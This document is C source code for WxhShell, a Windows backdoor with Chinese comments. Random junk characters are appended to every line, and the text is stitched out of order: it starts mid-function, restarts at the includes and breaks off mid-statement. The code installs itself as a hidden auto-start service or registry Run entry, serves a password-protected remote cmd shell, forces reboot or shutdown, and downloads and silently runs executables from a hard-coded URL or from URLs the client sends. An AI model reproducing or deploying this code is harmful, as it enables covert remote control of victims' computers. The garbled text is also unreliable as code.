    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Hrd5p+j  
    if(Boot(SHUTDOWN)) OPvj{Dv$0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jRv;D#Hp  
    else { ?~VWW<lR  
    closesocket(wsh); -Z`(? k  
    ExitThread(0); 6=Y3(#Ddt  
    } ]Ks]B2Osz  
    break; B$}wF<`k7  
    } 8! |.H p  
  // 获取shell EmtDrx4!(f  
  case 's': { kcq9p2zKv  
    CmdShell(wsh); >:Rt>po8|w  
    closesocket(wsh); z")3_5Br  
    ExitThread(0); p0}+071o%  
    break; {#dp-5V  
  } 8k+q7  
  // 退出 vh1 Ma<cx  
  case 'x': { p^pQZ6-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "VT{1(]t  
    CloseIt(wsh); Lu8%qcC  
    break; nhVK?  
    } TnvHO_P,  
  // 离开 kbIY%\QSO  
  case 'q': { JEK%yMj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >\6jb&,%O  
    closesocket(wsh); I,],?DQX2)  
    WSACleanup(); 6i9Q ,4~  
    exit(1); 0UM@L }L  
    break; K^z5x#Yj  
        } Y0P}KPD  
  } }<5\O*kX4  
  } 7':5  
yBYuDfeZ  
  // 提示信息 )o " SB1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N27K  
} {a+Fx}W  
  } bGMeBj"R  
7.lK$J:  
  return; 8 7|8eU2:k  
} ~,1-$#R  
c"f-$^<  
// shell模块句柄 bBeFL~  
int CmdShell(SOCKET sock) mR" 2  
{ M\Uc;:) H  
STARTUPINFO si; 2HvTM8  
ZeroMemory(&si,sizeof(si)); +H)!uLva B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V',m $   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^td!g1"<  
PROCESS_INFORMATION ProcessInfo; jt'Y(u]2  
char cmdline[]="cmd"; S+_A <p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4AJu2Hp  
  return 0; ;*>QG6Fh  
} J]=aI>Ow  
3%vx' 1h[  
// 自身启动模式 ?vht~5'  
int StartFromService(void) ?j&~vy= T  
{ 1eE]4Z4Q  
typedef struct JhMrm%  
{  |(J ?#?  
  DWORD ExitStatus; Sg_-OX@f  
  DWORD PebBaseAddress; X_0{*!v8  
  DWORD AffinityMask; oSu|Yn  
  DWORD BasePriority; y7;XOPm  
  ULONG UniqueProcessId; AXNszS%4  
  ULONG InheritedFromUniqueProcessId; a!^-~pH:  
}   PROCESS_BASIC_INFORMATION; By"^ Z`EP4  
}Yo15BN+  
PROCNTQSIP NtQueryInformationProcess; W{$+mow7S  
'$kS]U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $dVgFot  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  hZss  
G +nY}c  
  HANDLE             hProcess; [kp7LA"`  
  PROCESS_BASIC_INFORMATION pbi; %CsTB0Y7n,  
AT8B!m   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xy z\;3  
  if(NULL == hInst ) return 0; JX2 |  
b]so9aCz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +X%fcoc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fUL{c,7xda  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U"%8"G0)  
-pU\"$nuxH  
  if (!NtQueryInformationProcess) return 0; e%@[d<Ta\  
 4s1kZ`e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P5 <85t  
  if(!hProcess) return 0; wNf*/? N  
g`~lIt [=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t;e]L'z@:  
of[|b{Ze4~  
  CloseHandle(hProcess); HhQPgjZ/  
x w?9W4<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^Lg{2hjj  
if(hProcess==NULL) return 0; P :7l#/x_  
!Lg}q!*%>V  
HMODULE hMod; w=P <4 bdT  
char procName[255]; E3.W#=o  
unsigned long cbNeeded; e~2*> 5\:  
V)?x*R*T)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #:ED 0</  
9%)& }KK|  
  CloseHandle(hProcess); @=<TA0;LL  
6q  xUT  
if(strstr(procName,"services")) return 1; // 以服务启动 z5o9\.y({  
d=+Lv<  
  return 0; // 注册表启动 K_lCDiqG  
} 0R%uVJG  
On96N|  
// 主模块 S}xDB  
int StartWxhshell(LPSTR lpCmdLine) eed\0  
{ P+zI9~N[  
  SOCKET wsl; @x-GbK?  
BOOL val=TRUE; o7 -h'b-  
  int port=0; cnUU1Uz>  
  struct sockaddr_in door; Nh7!Ah  
;uA_gn!  
  if(wscfg.ws_autoins) Install(); B,VSFpPx  
`bt)'ERO%#  
port=atoi(lpCmdLine); .+JP tL  
e,j? _p  
if(port<=0) port=wscfg.ws_port; L&gEQDPgq|  
W%jX-  
  WSADATA data; 4Igs\x{i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5Ret,~Vs9|  
RWh}?vs_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W!Ct[t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y3o4%K8  
  door.sin_family = AF_INET; M3ZJt'|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [2j (\vC!  
  door.sin_port = htons(port); H R!>g  
j>Bk; f|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OAnn`*5Up  
closesocket(wsl); OrH1fhh   
return 1; YDzF( ']o:  
} 2DBFXhP  
 ?Ge*~d  
  if(listen(wsl,2) == INVALID_SOCKET) { m+gG &`&u  
closesocket(wsl); %Pvb>U(Xs  
return 1; !\k#{ 1[!  
} 4z 3$  
  Wxhshell(wsl); I\4`90uBN  
  WSACleanup(); :c/=fWM%  
hjp?/i%TQ  
return 0; w-Q 6 -  
FLnAN;  
} wM&x8 <  
-{amzyvLE  
// 以NT服务方式启动 me`$5Z`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?28GQyk4  
{ >dC(~j{  
DWORD   status = 0; b%~3+c  
  DWORD   specificError = 0xfffffff; ZT-45_  
VflPNzixb!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b+j_EA_b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i$ZpoM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [t=+$pf(-  
  serviceStatus.dwWin32ExitCode     = 0; :)V0zHo&(  
  serviceStatus.dwServiceSpecificExitCode = 0; hG3$ ]i9  
  serviceStatus.dwCheckPoint       = 0; ~i&< !O&  
  serviceStatus.dwWaitHint       = 0; ToXFMkwY  
fF]&{b~wk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gt%?[  
  if (hServiceStatusHandle==0) return; vFvu8*0  
C%7)sLWjJS  
status = GetLastError(); P;91C'T-x  
  if (status!=NO_ERROR) ]}Hv,a   
{ ^d $e^cU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U &k 3  
    serviceStatus.dwCheckPoint       = 0; Pc ?G^ Xol  
    serviceStatus.dwWaitHint       = 0; o?hw2-mH  
    serviceStatus.dwWin32ExitCode     = status; VKfHN_m*  
    serviceStatus.dwServiceSpecificExitCode = specificError; /ykxVCvAt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {kO:HhUg  
    return; 4Jy,IKPp  
  } j<-o{6r  
"N:]d*A\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "=TTsxyM6P  
  serviceStatus.dwCheckPoint       = 0; $mg h.3z0  
  serviceStatus.dwWaitHint       = 0; @ DKl<F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pO+wJ|f  
} jJQfCOD$  
p~;z"Z  
// 处理NT服务事件,比如:启动、停止 (2\ekct ^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~map5@Kd  
{ aeLo;!Jh  
switch(fdwControl) /@}# K P=  
{ cZF;f{t  
case SERVICE_CONTROL_STOP: v&,VC~RN-J  
  serviceStatus.dwWin32ExitCode = 0; 0$h$7'a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6]A\8Ty  
  serviceStatus.dwCheckPoint   = 0; lfhKZX  
  serviceStatus.dwWaitHint     = 0; DmA!+  
  { WG=r? xE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LO*a>9LI  
  } GT}#iM  
  return; xfQ;5n  
case SERVICE_CONTROL_PAUSE: WjxBNk'f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;j\$[4W.i  
  break; mpJ_VS`  
case SERVICE_CONTROL_CONTINUE: |2` $g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {YLJKu!M  
  break; Vx8.FNJh  
case SERVICE_CONTROL_INTERROGATE: !b8|{#qh.  
  break; c)~|#v  
}; X \ZUt >  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _^$b$4)  
} %ycT}Lu  
.ihn@eg  
// 标准应用程序主函数 wm[d5A4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \Le #+ P  
{ zq>"a&Y,  
(MU7  
// 获取操作系统版本 F?Nk:# V  
OsIsNt=GetOsVer(); =umS^fJ5`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2*E<G|-F  
HpSf I7  
  // 从命令行安装 lFt{:HfX-  
  if(strpbrk(lpCmdLine,"iI")) Install(); .tZ$a_O  
9e*poG  
  // 下载执行文件 z]_CFo1'l  
if(wscfg.ws_downexe) { MNE)<vw>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jl29~^@}1i  
  WinExec(wscfg.ws_filenam,SW_HIDE); pl/$@K?L  
} g+F_M  
Lh$ac-Ct  
if(!OsIsNt) { *#9kFz-  
// 如果时win9x,隐藏进程并且设置为注册表启动 3ZZI1_j  
HideProc(); KywT Oq  
StartWxhshell(lpCmdLine); NT:>.~ah@&  
} g{{SY5qDj  
else U^S:2  
  if(StartFromService()) nrhpI d  
  // 以服务方式启动 4tKf  
  StartServiceCtrlDispatcher(DispatchTable); AMfu|%ZL  
else I#e*,#'S  
  // 普通方式启动 QNBzc {XB  
  StartWxhshell(lpCmdLine); %?wE/LU>  
EU~'n-  
return 0; @&> +`kgU-  
} @3D%i#2o&[  
zOp"n\  
S(xA}0]  
8)ol6Mi{  
=========================================== l8li@K  
j* ja)  
ew~FN  
c(JO;=,@9  
SX8%F:<.  
M" \y2   
" n-WvIy  
B}T72!a  
#include <stdio.h> l/M+JT~R  
#include <string.h> g}h0J%s  
#include <windows.h> I[C.iILL  
#include <winsock2.h> J(L$pIM  
#include <winsvc.h> yU`IyaazZ  
#include <urlmon.h> 3P>@ :  
Dn! V)T  
#pragma comment (lib, "Ws2_32.lib") Fm{y.URo  
#pragma comment (lib, "urlmon.lib") | mX8fRh  
pswppC6f  
#define MAX_USER   100 // 最大客户端连接数 $nN$"  
#define BUF_SOCK   200 // sock buffer }e w?{  
#define KEY_BUFF   255 // 输入 buffer _"TG:RP  
=]Bm>67"  
#define REBOOT     0   // 重启 =^}2 /vA  
#define SHUTDOWN   1   // 关机 u^9,u/gj  
81g0oVv  
#define DEF_PORT   5000 // 监听端口 vsR&1hs  
{)xrg sB  
#define REG_LEN     16   // 注册表键长度 W5 }zJ)x  
#define SVC_LEN     80   // NT服务名长度 }])f^  
OMNdvrE*=O  
// 从dll定义API 2/WXdo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ? 'nMZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A O]e^Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BJTljg( {o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XoOe=V?I )  
c Ix(;[U  
// wxhshell配置信息 fW`F^G1R  
struct WSCFG { BC+qeocg  
  int ws_port;         // 监听端口 ~A( Pa-  
  char ws_passstr[REG_LEN]; // 口令 tL|Q{+i yE  
  int ws_autoins;       // 安装标记, 1=yes 0=no W[ DB !ue  
  char ws_regname[REG_LEN]; // 注册表键名 umYdr'p!v  
  char ws_svcname[REG_LEN]; // 服务名 S([De"y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Po[zzj>m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b87d'# .  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P'';F}NwfX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XO>Y*7rO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *QJ/DC$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Pr"ESd>Y  
qKXn=J/0tA  
}; s,= ^V/c  
([A;~ p;n  
// default Wxhshell configuration 9EW 7,m{A  
struct WSCFG wscfg={DEF_PORT, ~<3yTl>  
    "xuhuanlingzhe", u^$ CR  
    1, %8/$CR  
    "Wxhshell", x(Z@ R\C-a  
    "Wxhshell", =>U~ligu  
            "WxhShell Service", 3m'6cMQ  
    "Wrsky Windows CmdShell Service", BDg /pDnwg  
    "Please Input Your Password: ", G<I5%Yo6G  
  1, aY~IS?! ;  
  "http://www.wrsky.com/wxhshell.exe", 'Z[R*Ikzq  
  "Wxhshell.exe" dEn hNPeRl  
    }; A_+ WY|#M  
X5=7DE]  
// 消息定义模块 O)?0G$0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |m% &Qb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TfOZ>uR"g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O_q_O  
char *msg_ws_ext="\n\rExit."; s&l[GKR  
char *msg_ws_end="\n\rQuit."; +J}M$e Q  
char *msg_ws_boot="\n\rReboot..."; 8,Z0J  
char *msg_ws_poff="\n\rShutdown..."; ' =kX   
char *msg_ws_down="\n\rSave to "; lPQH_+)Z"  
X,b} d#\  
char *msg_ws_err="\n\rErr!"; B^Q#@[T   
char *msg_ws_ok="\n\rOK!"; 6lGL.m'Ra  
t+VPX2  
char ExeFile[MAX_PATH]; _e W*  
int nUser = 0;  S_atEmQ  
HANDLE handles[MAX_USER]; ZL Aq8X  
int OsIsNt; uo^>95lkv  
)_ y{^kn3^  
SERVICE_STATUS       serviceStatus; @QofsWC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q] HRg4r  
w>e OERZa  
// 函数声明 okW3V}/x/z  
int Install(void);  i.]}ooI  
int Uninstall(void); &N#)(rQ1  
int DownloadFile(char *sURL, SOCKET wsh); /\.kH62  
int Boot(int flag); 4#T'Fy].  
void HideProc(void); aVlHY E  
int GetOsVer(void); ?!ig/ufZ  
int Wxhshell(SOCKET wsl); ,DjZDw  
void TalkWithClient(void *cs); +q(D]:@,[  
int CmdShell(SOCKET sock); .T7ciD  
int StartFromService(void); Kj7Osqu2bE  
int StartWxhshell(LPSTR lpCmdLine); hH\(> 4l  
`@90b 4u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )xeVoAg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7hc(]8eP  
BBDOjhik  
// 数据结构和表定义 `u-}E9{  
SERVICE_TABLE_ENTRY DispatchTable[] = n\ZFPXP  
{ 5"sF#Y&  
{wscfg.ws_svcname, NTServiceMain}, ifkA3]  
{NULL, NULL} j(SQNSFD  
}; _i&\G}mrC  
mnePm{  
// 自我安装 (?Yz#Yf  
int Install(void) LTF%b AQ,  
{ al2v1.Y}  
  char svExeFile[MAX_PATH]; >wn&+%i&  
  HKEY key; W^x[ma z  
  strcpy(svExeFile,ExeFile); ,/KHKLY7  
=F`h2A;a  
// 如果是win9x系统,修改注册表设为自启动 gm8H)y,  
if(!OsIsNt) { ^a]:GPc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nL$tXm-x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); REw3>/=  
  RegCloseKey(key); >TE&myZ?*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { biJU r^n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %ug`dZ/  
  RegCloseKey(key); t :_7 O7  
  return 0; wNPZ[V:  
    } |(/"IS]  
  } F'K{=  
} *6h.#$\  
else { </fnbyGR  
w-KtxG(  
// 如果是NT以上系统,安装为系统服务 Lh+^GQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BdceINI  
if (schSCManager!=0) $6_J` 7  
{ pD]Ry" ZG  
  SC_HANDLE schService = CreateService ?TXFOr]g]2  
  ( b x@CzXre;  
  schSCManager, e'jR<ln|  
  wscfg.ws_svcname, 6Hz=VhQrN  
  wscfg.ws_svcdisp, -*WD.|k  
  SERVICE_ALL_ACCESS, &,\S<B2.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U;^{uQJ+,  
  SERVICE_AUTO_START, `@ObM[0p(  
  SERVICE_ERROR_NORMAL, {>i'Pb0mG|  
  svExeFile, v4&*iT  
  NULL, 5W'T7asOh  
  NULL, R_^:<F0  
  NULL, :( `Q4D~l  
  NULL, .{Xi&[jw  
  NULL k~?@~xm,R  
  ); Awj`6GeJ  
  if (schService!=0) f_ ::?  
  { -Ju!2by  
  CloseServiceHandle(schService); xGA%/dy,;  
  CloseServiceHandle(schSCManager); -0W;b"]+A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +n0y/0Au  
  strcat(svExeFile,wscfg.ws_svcname); SZgH0W("L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |h3 YL!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {30A1>0#P  
  RegCloseKey(key); 6S<pWR~  
  return 0; $FAl9  
    } ]!f=b\-Av  
  } _K9jj  
  CloseServiceHandle(schSCManager); A_[65'*b  
} =.uE(L`]NA  
} ak'RV*>mT  
ThHK1{87X}  
return 1; M]&9Kg3   
} <mpkkCl,  
xD~:= ]G  
// 自我卸载 EZ$m4: {e  
int Uninstall(void) k`N)-`O7  
{ ON$u581 y  
  HKEY key; AttDD{Ta  
Q%85,L^U  
if(!OsIsNt) { lwK Au!l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I|p(8 R!  
  RegDeleteValue(key,wscfg.ws_regname); 6VA@;g0$  
  RegCloseKey(key); mtHw!*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l<gg5 Zea  
  RegDeleteValue(key,wscfg.ws_regname); * @oAM,@  
  RegCloseKey(key); < B'BlqTS  
  return 0; $Q ?<']|A  
  } \}cEHLq  
} |=SaI%%Be  
} ua2SW(C@  
else { n\d-^ml  
Jo2:0<VL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  _G`kj{J  
if (schSCManager!=0) fHM<6i<C  
{ /N~.,vf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :#+VH_%N  
  if (schService!=0) fSSDOH!U,  
  { +4)Kc9S#  
  if(DeleteService(schService)!=0) { r;9F@/  
  CloseServiceHandle(schService); h'wI/Z_'  
  CloseServiceHandle(schSCManager); %POoyH@D}  
  return 0; !"_\5$5i<X  
  } fu33wz1$}B  
  CloseServiceHandle(schService); "*?^'(yA@  
  } /Wt<[g#  
  CloseServiceHandle(schSCManager); A_CK,S*\,&  
} Iz VtiX  
} c$>Tfa'H  
Z5+qb  
return 1;  aj1Zi3h  
} TJ+yBMd*%  
3C5<MxtK  
// 从指定url下载文件 edA.Va|0  
int DownloadFile(char *sURL, SOCKET wsh) :dB6/@f W  
{ ZXp=QH+f  
  HRESULT hr; 40mgB4I  
char seps[]= "/"; zU]95I  
char *token; $+-2/=>Xk  
char *file; ,zO!`|I  
char myURL[MAX_PATH]; yw2sK7  
char myFILE[MAX_PATH]; Yf<6[(6 O  
lLl^2[4k5  
strcpy(myURL,sURL); 8M !If  
  token=strtok(myURL,seps); NKh8'=S  
  while(token!=NULL) KYMz  
  { SxH b76 ;  
    file=token; PY~cu@'k{  
  token=strtok(NULL,seps); $o5<#g"/T  
  } cR _ 8 5  
]H%y7kH8  
GetCurrentDirectory(MAX_PATH,myFILE); ~Sh8. ++}  
strcat(myFILE, "\\"); Xji<oih  
strcat(myFILE, file); '9*(4/,UJJ  
  send(wsh,myFILE,strlen(myFILE),0); tKu'Q;J  
send(wsh,"...",3,0); kbiMqiPG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r65/O5F  
  if(hr==S_OK) d/N&bTg:  
return 0; {e,S}:$g4  
else 6f(K'v  
return 1; xV}-[W5sr'  
6o!+E@V b  
} ?o?~Df&  
"1yXOy^2  
// 系统电源模块 Fn1|Wt*  
int Boot(int flag) J1KV?aR  
{ rISg`-  
  HANDLE hToken; p78X,44xg  
  TOKEN_PRIVILEGES tkp; *+rO3% ;t  
;(5b5PA  
  if(OsIsNt) { iW9G0Ay  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '+JU(x{CCl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M|6 l  
    tkp.PrivilegeCount = 1; B^Fe.ty  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4:WN-[xX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3%p^>D\  
if(flag==REBOOT) { 4At{(fw W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |Q[[WHqj2f  
  return 0; aOIE9wO  
} ^U)xQD"  
else { rzsAnLxo  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *#\da]"{  
  return 0; o)GLh^g_I'  
} R,>LUa*u  
  } R utRA  
  else { ^Cs?FF@P  
if(flag==REBOOT) { Xz4T_-X8d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E>NRC\^@  
  return 0; kLtm_  
} 3\JEp,5  
else { Xt& rYv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dn!#c=  
  return 0; ]rY:C "#  
} \jH^OXxb  
} jbZ%Y0km%  
gE;r;#Jt4  
return 1; 'So,*>]63  
} mO=bq4!  
.W>LEz'  
// win9x进程隐藏模块 \W:~;GMeD  
void HideProc(void) LpN_s#  
{ =n7QLQU  
:|%k*z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %zsY=qT  
  if ( hKernel != NULL ) @A?Ss8p'  
  { tX)l_ ?jVH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R+}7]tva6C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aGSix}b1P  
    FreeLibrary(hKernel); 8=\}#F  
  } #k?uYg8  
~?E.U,R  
return; Q#M@!&  
} Pr|BhX  
$z[FL=h)?+  
// 获取操作系统版本 kMd1)6%6A  
int GetOsVer(void) &&SA/;F  
{ RKru hF  
  OSVERSIONINFO winfo; :k&R]bc9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5\S s`#g  
  GetVersionEx(&winfo); ^6g^ Q*"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iX (<ozH  
  return 1; ZMa@/\pf1  
  else d%?$UnQ  
  return 0; v%^"N_]  
} dA 03,s  
lW6$v* s9  
// 客户端句柄模块 xfegi$  
int Wxhshell(SOCKET wsl) EnW}>XN  
{ ,r_%p<lOFu  
  SOCKET wsh; ?/3'j(Gk  
  struct sockaddr_in client; b}<?& @  
  DWORD myID; Z/G`8|A  
8=kIN-l_  
  while(nUser<MAX_USER) #X 1 GL  
{ X?f\j"v  
  int nSize=sizeof(client); \P~ h0zg?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ; ,9:1.L  
  if(wsh==INVALID_SOCKET) return 1; XSOSy2:  
,9~=yC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e2F{}N  
if(handles[nUser]==0) b';oFUU>Q  
  closesocket(wsh); ~$PY6s  
else 8@rddk  
  nUser++; Ar{7H)V:  
  } Rq@M~;p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (Y!{ UNq5  
Te d1Ky2O  
  return 0; X iW~? *Z  
} /Pv dP#!  
i0q<,VSl$_  
// 关闭 socket H6/n  
void CloseIt(SOCKET wsh) 0Ba*"/U]t~  
{ SB x<-^  
closesocket(wsh); b%wm-p  
nUser--; +Z7:(o<  
ExitThread(0); BS*Y3$  
} 15J t @{<r  
vCX 54  
// 客户端请求句柄 0]k-0#JM  
void TalkWithClient(void *cs) 4"^v]&I  
{ }j`#s  
jCp^CNbA  
  SOCKET wsh=(SOCKET)cs; ;M<R e  
  char pwd[SVC_LEN]; 3sD/4 ?  
  char cmd[KEY_BUFF]; nVyV]'-z  
char chr[1]; nG4}8  
int i,j; +d!"Zy2|B  
`=%mU/v  
  while (nUser < MAX_USER) { i K,^|Q8  
]iezwz`'  
if(wscfg.ws_passstr) { r7FFZNs!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \DMZ M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c9O0YQ3&8  
  //ZeroMemory(pwd,KEY_BUFF); nq%GLUH   
      i=0; .dPy<6E  
  while(i<SVC_LEN) { XlJA}^e  
Um%$TGw5  
  // 设置超时 5c ($~EFr  
  fd_set FdRead; X+KQ%Efo  
  struct timeval TimeOut; v{8W+  
  FD_ZERO(&FdRead); NTV@,  
  FD_SET(wsh,&FdRead); 01w}8a(  
  TimeOut.tv_sec=8; 4{6XZ_J1  
  TimeOut.tv_usec=0; nnZM{< !hF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +/ U6p!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hM nJH_siY  
wl5+VC*l0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "30R%oL]=  
  pwd=chr[0]; hqc)Ydg_%  
  if(chr[0]==0xd || chr[0]==0xa) { '*=kt  
  pwd=0; 5H!6m_,w  
  break; E}lNb  
  } A}W}H;8x  
  i++; 6 K-jje;)  
    } _1ax6MwX  
>NJ`*M  
  // 如果是非法用户,关闭 socket $s<bKju  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AGMrBd|J{  
} .azA1@V|  
M0K+Vz=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _>u0vGF-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6b-E|;"]:^  
"w&G1kw5I  
while(1) { gJYX  
?4sF:Y+\  
  ZeroMemory(cmd,KEY_BUFF); pxV@fH+`  
oGKk2oP  
      // 自动支持客户端 telnet标准   mvXIh";  
  j=0; 'Ivr =-  
  while(j<KEY_BUFF) { Yq0jw&v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Evt&N)l!^  
  cmd[j]=chr[0]; dkAY%ztwo  
  if(chr[0]==0xa || chr[0]==0xd) { _ipY;  
  cmd[j]=0; r0:I  
  break; u(C?\HaH  
  } u&Cu"-%=M  
  j++; L4!T  
    } \9%RY]TK3  
ICm/9Onh&  
  // 下载文件 4h$W4NJK  
  if(strstr(cmd,"http://")) { VWT\wA L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s5&v~I;>e  
  if(DownloadFile(cmd,wsh)) XAb-K?)   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \[Q*d  
  else |m>{< :  
